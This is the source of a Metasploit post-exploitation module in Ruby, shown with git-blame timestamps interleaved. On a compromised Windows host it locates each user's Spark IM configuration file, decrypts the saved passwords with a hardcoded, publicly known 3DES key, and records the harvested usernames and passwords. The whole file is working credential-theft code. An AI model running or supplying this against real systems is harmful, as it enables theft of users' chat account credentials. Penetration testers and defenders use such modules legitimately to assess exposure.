2012-12-26 23:28:23 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-12-26 23:28:23 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
require 'openssl'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
2013-09-05 18:41:25 +00:00
|
|
|
include Msf::Post::Windows::UserProfiles
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Windows Gather Spark IM Password Extraction',
|
|
|
|
'Description' => %q{
|
|
|
|
This module will enumerate passwords stored by the Spark IM client.
|
|
|
|
The encryption key is publicly known. This module will not only extract encrypted
|
|
|
|
password but will also decrypt password using public key.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>',
|
|
|
|
'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>'
|
|
|
|
],
|
|
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'URL', 'http://adamcaudill.com/2012/07/27/decrypting-spark-saved-passwords/']
|
|
|
|
]
|
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
# decrypt spark password
|
|
|
|
def decrypt(hash)
|
|
|
|
# code to decrypt hash with KEY
|
|
|
|
encrypted = hash.unpack("m")[0]
|
|
|
|
key = "ugfpV1dMC5jyJtqwVAfTpHkxqJ0+E0ae".unpack("m")[0]
|
|
|
|
|
|
|
|
cipher = OpenSSL::Cipher::Cipher.new 'des-ede3'
|
|
|
|
cipher.decrypt
|
|
|
|
cipher.key = key
|
|
|
|
|
|
|
|
password = cipher.update encrypted
|
|
|
|
password << cipher.final
|
|
|
|
|
|
|
|
password = ::Rex::Text.to_utf8(password)
|
|
|
|
|
|
|
|
user, pass = password.scan(/[[:print:]]+/)
|
2015-06-02 17:16:07 +00:00
|
|
|
cred_opts = {}
|
2013-09-05 18:41:25 +00:00
|
|
|
if pass.nil? or pass.empty?
|
|
|
|
print_status("Username found: #{user}, but no password")
|
2015-06-02 17:16:07 +00:00
|
|
|
cred_opts.merge!(user: user)
|
2013-09-05 18:41:25 +00:00
|
|
|
else
|
|
|
|
print_good("Decrypted Username #{user} Password: #{pass}")
|
2015-06-02 17:16:07 +00:00
|
|
|
cred_opts.merge!(user: user, password: pass)
|
2013-09-05 18:41:25 +00:00
|
|
|
end
|
|
|
|
|
2015-06-02 17:16:07 +00:00
|
|
|
cred_opts.merge!(
|
|
|
|
ip: client.sock.peerhost,
|
|
|
|
port: 5222,
|
|
|
|
service_name: 'spark'
|
|
|
|
)
|
|
|
|
|
|
|
|
report_cred(cred_opts)
|
2013-09-05 18:41:25 +00:00
|
|
|
end
|
|
|
|
|
2015-06-02 17:16:07 +00:00
|
|
|
def report_cred(opts)
|
|
|
|
service_data = {
|
|
|
|
address: opts[:ip],
|
|
|
|
port: opts[:port],
|
|
|
|
service_name: opts[:service_name],
|
|
|
|
protocol: 'tcp',
|
|
|
|
workspace_id: myworkspace_id
|
|
|
|
}
|
|
|
|
|
|
|
|
credential_data = {
|
|
|
|
module_fullname: fullname,
|
|
|
|
post_reference_name: self.refname,
|
|
|
|
session_id: session_db_id,
|
|
|
|
origin_type: :session,
|
|
|
|
username: opts[:user],
|
|
|
|
private_type: :password
|
|
|
|
}.merge(service_data)
|
|
|
|
|
|
|
|
if opts[:password]
|
|
|
|
credential_data.merge!(
|
|
|
|
private_data: opts[:password],
|
2013-09-05 18:41:25 +00:00
|
|
|
)
|
|
|
|
end
|
2015-06-02 17:16:07 +00:00
|
|
|
|
|
|
|
login_data = {
|
|
|
|
core: create_credential(credential_data),
|
|
|
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
|
|
|
}.merge(service_data)
|
|
|
|
|
|
|
|
create_credential_login(login_data)
|
2013-09-05 18:41:25 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# main control method
|
|
|
|
def run
|
|
|
|
grab_user_profiles().each do |user|
|
|
|
|
unless user['AppData'].nil?
|
|
|
|
accounts = user['AppData'] + "\\Spark\\spark.properties"
|
|
|
|
|
|
|
|
# open the file for reading
|
|
|
|
config = client.fs.file.new(accounts, 'r') rescue nil
|
|
|
|
next if config.nil?
|
|
|
|
print_status("Config found for user #{user['UserName']}")
|
|
|
|
|
|
|
|
# read the contents of file
|
|
|
|
contents = config.read
|
|
|
|
|
|
|
|
# look for lines containing string 'password'
|
|
|
|
password = contents.split("\n").grep(/password/)
|
|
|
|
if password.nil?
|
|
|
|
# file doesn't contain a password
|
|
|
|
print_status("#{file} does not contain any saved passwords")
|
|
|
|
# close file and return
|
|
|
|
config.close
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
# store the hash close the file
|
|
|
|
password = password.delete_if {|e| e !~ /password.+=.+=\r/}
|
|
|
|
password.each do | pass |
|
|
|
|
if pass.nil?
|
|
|
|
next
|
|
|
|
end
|
|
|
|
|
|
|
|
hash = pass.split("password").join.chomp
|
2015-06-18 08:27:01 +00:00
|
|
|
vprint_status("Spark password hash: #{hash}")
|
2013-09-05 18:41:25 +00:00
|
|
|
|
|
|
|
# call method to decrypt hash
|
|
|
|
decrypt(hash)
|
|
|
|
end
|
|
|
|
config.close
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2012-12-27 03:16:04 +00:00
|
|
|
end
|